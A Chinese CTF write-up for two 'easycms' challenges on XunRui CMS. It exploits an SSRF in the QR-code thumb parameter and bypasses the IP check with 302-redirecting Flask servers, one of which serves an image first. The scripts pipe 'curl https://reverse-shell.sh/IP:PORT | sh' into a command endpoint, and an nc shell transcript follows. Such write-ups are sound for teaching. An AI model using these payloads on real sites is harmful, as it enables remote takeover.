easycms
题目提示扫后台,我们就先开扫
比较有用的就是这个flag.php了, 打开来看看。
显示Just input 'cmd' From 127.0.0.1
, 这里是要求请求来自本地,由于我也不知道怎么实现的, 也没有源码, 就简单试了几下就去做其他题目去了。
然后过了一会更新了hint, 公布了flag.php的源码 :
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
使用 $_SERVER["REMOTE_ADDR"]
来检测请求是否来自本地,这种方式本身是安全的, 所以得从其他地方入手。于是我开始看这个讯睿CMS的源码, 试图找到可以利用的地方。
/public/index.php
// 执行主程序
require FCPATH.'Fcms/Init.php';
/dayrui/Fcms/Init.php
// 根据自定义URL规则来识别路由
if (!IS_ADMIN && CMSURI && !defined('IS_API') && !defined('FIX_WEB_URL')) {
// 自定义URL解析规则
$routes = [];
$routes['index\.html(.*)'] = 'index.php?c=home&m=index';
$routes['404\.html(.*)'] = 'index.php?&c=home&m=s404&uri='.CMSURI;
$routes['rewrite-test.html(.*)'] = 'index.php?s=api&c=rewrite&m=test';
if (is_file(WEBPATH.'config/rewrite.php')) {
$my = require WEBPATH.'config/rewrite.php';
$my && $routes = array_merge($routes, $my);
} elseif (is_file(CONFIGPATH.'rewrite.php')) {
$my = require CONFIGPATH.'rewrite.php';
$my && $routes = array_merge($routes, $my);
}
// 正则匹配路由规则
$is_404 = 1;
foreach ($routes as $key => $val) {
$rewrite = $match = []; //(defined('SYS_URL_PREG') && SYS_URL_PREG ? '' : '$')
if ($key == CMSURI || preg_match('/^'.$key.'$/U', CMSURI, $match)) {
unset($match[0]);
// 开始匹配
$is_404 = 0;
// 开始解析路由 URL参数模式
$_GET = [];
$queryParts = explode('&', str_replace(['index.php?', '/index.php?'], '', $val));
if ($queryParts) {
foreach ($queryParts as $param) {
$item = explode('=', $param);
$_GET[$item[0]] = $item[1];
if (strpos($item[1], '$') !== FALSE) {
$id = (int)substr($item[1], 1);
$_GET[$item[0]] = isset($match[$id]) ? $match[$id] : $item[1];
}
}
}
!$_GET['c'] && $_GET['c'] = 'home';
!$_GET['m'] && $_GET['m'] = 'index';
// 结束匹配
break;
}
}
// 说明是404
if ($is_404) {
$_GET['s'] = '';
$_GET['c'] = 'home';
$_GET['m'] = 's404';
$_GET['uri'] = CMSURI;
}
}
// 自定义路由模式
if (is_file(WEBPATH.'config/router.php')) {
require WEBPATH.'config/router.php';
} elseif (is_file(CONFIGPATH.'router.php')) {
require CONFIGPATH.'router.php';
}
}
!defined('CMSURI') && define('CMSURI', '');
// API接口项目标识 放到后面是为了识别api 的伪静态
!defined('IS_API') && define('IS_API', isset($_GET['s']) && $_GET['s'] == 'api');
// 解析自定义域名
if (!IS_API && $_GET['s'] != 'api' && is_file(WRITEPATH.'config/domain_app.php')){
$domain = require WRITEPATH.'config/domain_app.php';
// 强制定义为模块
if (isset($domain[DOMAIN_NAME]) && $domain[DOMAIN_NAME] && is_dir(APPSPATH.ucfirst($domain[DOMAIN_NAME]))) {
$_GET['s'] = $domain[DOMAIN_NAME];
}
unset($domain);
}
这里的 c
参数用于指定控制器, s
参数用于指定模块或部分, 而 m
用于指定控制器中的方法。
然后我们再看看我们接下来要利用用什么方法。
/dayrui/Fcms/Core/Helper.php
/**
* 二维码调用
*/
function dr_qrcode($text, $thumb = '', $level = 'H', $size = 5) {
return ROOT_URL.'index.php?s=api&c=api&m=qrcode&thumb='.urlencode($thumb).'&text='.urlencode($text).'&size='.$size.'&level='.$level;
}
看看二维码 :
/dayrui/Fcms/Control/Api/Api.php
//我操我忘了当时是怎么找上这里来了, 好像是因为我当时觉得Api这个大写有点新奇, 就多看了一眼还是在哪个文件看到的, 真记不得了。
/**
* 二维码显示
*/
public function qrcode() {
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (false && !IS_DEV && is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
if (!is_file($file)) {
exit('二维码生成失败');
}
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
if (strpos($thumb, 'https://') !== false
&& strpos($thumb, '/') !== false
&& strpos($thumb, 'http://') !== false) {
exit('图片地址不规范');
}
$host = parse_url($thumb,PHP_URL_HOST);
$ip = gethostbyname($host);
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){
exit("ip不正确");
}
$img = getimagesize($thumb);
if (!$img) {
exit('此图片不是一张可用的图片');
}
$code = dr_catcher_data($thumb);
if (!$code) {
exit('图片参数不规范');
}
$logo = imagecreatefromstring($code);
$QR_width = imagesx($QR);//二维码图片宽度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
imagepng($QR, $file);
}
}
// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
$QR && imagepng($QR);
exit;
}
这里传入了两个参数, text
和 params
。其中 text
是二维码表示的值, 而 params
是一个 ” 图片 ” , 虽然我不是很清楚这里为什么需要图片, 我的猜测是类似于微信收款码中间那个收款人头像这样的毫无用处的功能。而且就是因为这个功能, 才给了我们利用的机会。
由上面代码可知, $thumb
实际是图像的URL , 而 getimagesize
和 dr_catcher_data
这些函数实际是获取的是 $thumb
值对应的图片, 由于这里没有进一步的检测, 假如我们令 thumb
的值为本地 Web 服务的地址, 就会造成 SSRF 漏洞。
这是 dr_catcher_data
方法的代码 :
/dayrui/Fcms/Core/Helper.php
/**
* 调用远程数据
*
* @param string $url
* @param intval $timeout 超时时间,0不超时
* @return string
*/
function dr_catcher_data($url, $timeout = 0) {
// 获取本地文件
if (strpos($url, 'file://') === 0) {
return file_get_contents($url);
}
// curl模式
if (function_exists('curl_init')) {
$ch = curl_init($url);
if (substr($url, 0, 8) == "https://") {
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, true); // 从证书中检查SSL加密算法是否存在
}
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// 最大执行时间
$timeout && curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$data = curl_exec($ch);
$code = curl_getinfo($ch,CURLINFO_HTTP_CODE);
$errno = curl_errno($ch);
if (CI_DEBUG && $errno) {
log_message('error', '获取远程数据失败['.$url.']:('.$errno.')'.curl_error($ch));
}
curl_close($ch);
if ($code == 200) {
return $data;
} elseif ($errno == 35) {
// 当服务器不支持时改为普通获取方式
} else {
return '';
}
}
//设置超时参数
if ($timeout && function_exists('stream_context_create')) {
// 解析协议
$opt = [
'http' => [
'method' => 'GET',
'timeout' => $timeout,
],
'https' => [
'method' => 'GET',
'timeout' => $timeout,
]
];
$ptl = substr($url, 0, 8) == "https://" ? 'https' : 'http';
$data = file_get_contents($url, 0, stream_context_create([
$ptl => $opt[$ptl]
]));
} else {
$data = file_get_contents($url);
}
return $data;
}
可以看到也没有保护, 两个方法都可以打SSRF
构造 URL 试试 :http://example.com/index.php?s=api&m=qrcode&c=api&text=1&thumb=http://127.0.0.1/flag.php?cmd=whoami
解释一下 :
这里我们需要先使Web服务器定位到我们需要调用的方法, 根据上文我们对 s
, m
, c
三个参数的分析即可得出。
然后是 text
值,由于我们根本不关心最终生成的二维码所以随便填个 1 。thumb
值指向本地的 flag.php
, 携带参数 cmd = 我们要执行的命令
, 就能达到 SSRF 的效果。
然后由于这行代码 :
/dayrui/Fcms/Control/Api/Api.php
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)){
exit("ip不正确");
}
所以我们不能直接让他访问本地, 但是可以通过 302 重定向绕过, 然后把 shell 弹到我们的机器上。
多说一嘴, 这段代码在原先的 github 开源代码中是没有的。
/home/jackacc/app.py
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def home():
return redirect("http://127.0.0.1/flag.php?cmd=curl https://reverse-shell.sh/IP:PORT | sh")
if __name__ == '__main__':
app.run(host='0.0.0.0',port=PORT)
然后把之前的 Payload
改一下 :http://example.com/index.php?s=api&m=qrcode&c=api&text=1&thumb=http://IP/PORT
[lighthouse@VM-4-5-centos ~]$ nc -l 1337
/bin/sh: 0: can't access tty; job control turned off
$ ls
LICENSE
Readme.txt
adminf1aeaf002c67.php
api
cache
config
dayrui
favicon.ico
flag.php
index.nginx-debian.html
index.php
install.php
mobile
static
template
uploadfile
$ ls /
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
readflag
root
run
sbin
srv
sys
tmp
usr
var
$ /readflag
flag{*******-****-****-****-************}
根目录下有一个 readflag
, 运行一下就可以了, 直接读 /flag
好像是不可以的。
easycms_revenge
就是第一道题的升级版, 实际上就是二维码方法那里多加了一个检测条件 :
/dayrui/Fcms/Control/Api/Api.php
/**
* 二维码显示
*/
public function qrcode()
{
$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));
//生成二维码图片
require_once CMSPATH . 'Library/Phpqrcode.php';
$file = WRITEPATH . 'file/qrcode-' . md5($value . $thumb . $matrixPointSize . $errorCorrectionLevel) . '-qrcode.png';
if (false && !IS_DEV && is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
if (!is_file($file)) {
exit('二维码生成失败');
}
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
if (strpos($thumb, 'https://') !== false
&& strpos($thumb, '/') !== false
&& strpos($thumb, 'http://') !== false) {
exit('图片地址不规范');
}
$parts = parse_url($thumb);
$hostname = $parts['host'];
$ip = gethostbyname($hostname);
$port = $parts['port'] ?? '';
$newUrl = $parts['scheme'] . '://' . $ip;
if ($port) {
$newUrl .= ':' . $port;
}
$newUrl .= $parts['path'];
if (isset($parts['query'])) {
$newUrl .= '?' . $parts['query'];
}
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
exit("ip不正确");
}
$context = stream_context_create(array('http' => (array('follow_location' => 0))));
$img = getimagesizefromstring(file_get_contents($newUrl, false, $context));
if (!$img) {
exit('此图片不是一张可用的图片');
}
$code = dr_catcher_data($newUrl);
if (!$code) {
exit('图片参数不规范');
}
$logo = imagecreatefromstring($code);
$QR_width = imagesx($QR);//二维码图片宽度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width / $logo_qr_width;
$logo_qr_height = $logo_height / $scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
imagepng($QR, $file);
}
}
// 输出图片
ob_start();
ob_clean();
header("Content-type: image/png");
$QR && imagepng($QR);
exit;
}
比较要命的就是这里
$context = stream_context_create(array('http' => (array('follow_location' => 0))));
$img = getimagesizefromstring(file_get_contents($newUrl, false, $context));
这样一来我们就不能用 302 了, 但是我们还有办法。
还记得上一道题的 getimagesize
和 dr_catcher_data
吗? 这里的 getimagesizefromstring
对应的就是上一道题的 getimagesize
, getimagesize
似了, 我们还有 dr_catcher_data
。只是我们要保证靶机第一次访问的时候, 也就是调用 file_get_contents 的时候, 我们得返回正常的图片, 只有这样, 靶机才能调用 dr_catcher_data
, 进行第二次访问 , 由于第二次访问还是不会检测 302 的, 就可以 getshell。
修改一下 flask :
/home/jackacc/app_revenge.py
from flask import Flask, redirect
app = Flask(__name__)
Flag=True
@app.route('/')
def home():
global Flag
if Flag:
Flag=False
return open('D3mo.jpg','rb').read()
return redirect("http://127.0.0.1/flag.php?cmd=curl https://reverse-shell.sh/IP:PORT | sh")
if __name__ == '__main__':
app.run(host='0.0.0.0',port=PORT)
接下来操作和上一道题一样。